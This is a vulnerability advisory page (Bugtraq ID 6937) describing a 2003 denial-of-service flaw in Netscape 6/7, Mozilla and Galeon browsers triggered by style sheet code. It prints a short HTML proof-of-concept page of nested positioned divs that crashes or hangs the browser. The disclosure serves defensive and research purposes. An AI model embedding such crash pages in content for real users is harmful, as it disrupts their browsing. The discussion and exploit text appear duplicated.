Netscape Style Sheet Denial Of Service Vulnerability
BID:6937
Info
Netscape Style Sheet Denial Of Service Vulnerability
| Bugtraq ID: | 6937 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 25 2003 12:00AM |
| Updated: | Feb 25 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to "Jocke" <[email protected]>. |
| Vulnerable: |
Netscape Navigator 7.0 Netscape Navigator 6.0 Mozilla Browser 1.1 Mozilla Browser 1.0.1 Galeon Galeon Browser 1.2.6 |
| Not Vulnerable: |
Netscape Communicator 4.79 Konqueror Konqueror the web browser 2.2.2 |
Discussion
Netscape Style Sheet Denial Of Service Vulnerability
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.
If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources.
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.
If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources.
Exploit / POC
Netscape Style Sheet Denial Of Service Vulnerability
The following proof of concept code is was supplied by "Jocke" <[email protected]>:
<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>
The following proof of concept code is was supplied by "Jocke" <[email protected]>:
<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>
References
Netscape Style Sheet Denial Of Service Vulnerability
References:
References:
- Netscape Homepage (Netscape)
- Netscape 6/7 crashes by a simple stylesheet ("Jocke"